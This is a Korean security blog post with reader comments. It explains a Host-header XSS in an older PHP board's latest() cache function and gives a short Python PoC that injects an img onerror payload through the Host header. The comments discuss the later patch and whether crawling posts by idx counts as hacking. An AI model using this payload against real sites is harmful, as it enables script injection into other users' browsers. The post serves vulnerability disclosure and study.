--
일단 index.php소스를 봐줍니다
latest 함수로 echo를 시켜 주는걸 볼수가 있는데 평소에는 아 여기서 취약점이 터지겠어 라는 생각으로 넘겼지만 돈이 급하고 취약점이 급하다 보니 걍 구조를 보게 되었습니다.
함수를 보시게 되면 캐시 파일이 존재 하면 그걸 include 시키고 존재 하지 않는다면 캐시 파일을 생성한후 그걸 include를 시켜줍니다.
이때 캐시 파일을 쓸때 $latest_skin_url 변수의 값을 넣어주게 되는데 latest_skin_url 변수는 G5_SKIN_URL 이 값이 담기게 됩니다
G5_SKIN_URL 값은 common.php파일의 g5_path() 함수에의해 host헤더 값이 담기게 됩니다.
익플 방법은 일단 캐시를 초기화 시켜주기 위해 게시글을 하나 쓴뒤, 그 다음 index.php로 host에 "><img src=1 onerror="alert('XSS');">하시면 됩니다
PoC :
import requests
from urllib import quote
header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}
url = "site_url"
r = requests.get(url, headers=header)
print r.text
작성자가 댓글을 삭제했습니다.
답글삭제$host = preg_replace("/[\<\>\'\"\\\'\\\"\%\=\(\)\/\^\*]/", '', $host);
답글삭제$result['url'] = $http.$host.$port.$user.$root;
host 값이 replace되면서 xss 취약점이 존재하나요 ?
아니요 그건 패치된거구요 최신버전에서 터지는 취약점이 아니라 오래된 버전에서 터지는 거예요
삭제작성자가 댓글을 삭제했습니다.
답글삭제안녕하세요~! 지나가다가 블로그 보게됬는데 정말 유익한 정보가 많네요 저.. 혹시 궁금한 점이 있는데 질문하나해도 될까요??
답글삭제게시물이 파라미터값이 idx값으로 되어있습니다.
1. ooooooo == idx=1
2. ooooooo == idx=2
3. ooooooo == idx=3
4. ooooooo == idx=4
이렇게 되있는데 request를 idx=5 보내서 새로운 게시물이 올라오는지 크롤링 하려구 하는데 해킹 시도인가요??? 없는 페이지를 수시로 request 보내니까요.. 궁금합니다.
코딩할려구하다가 갑자기 무서워져서.. 일단 보류하고있습니다 ㅠㅠ 이렇게 덧글로 질문 질문남겨봅니다..!
저도 법에 대해서는 잘 모르는데 , 만약 권한이 없는데 글을 크롤링 해올수 있으면 해킹이고 아니라면 해킹이 아닐거 같네요 ..
삭제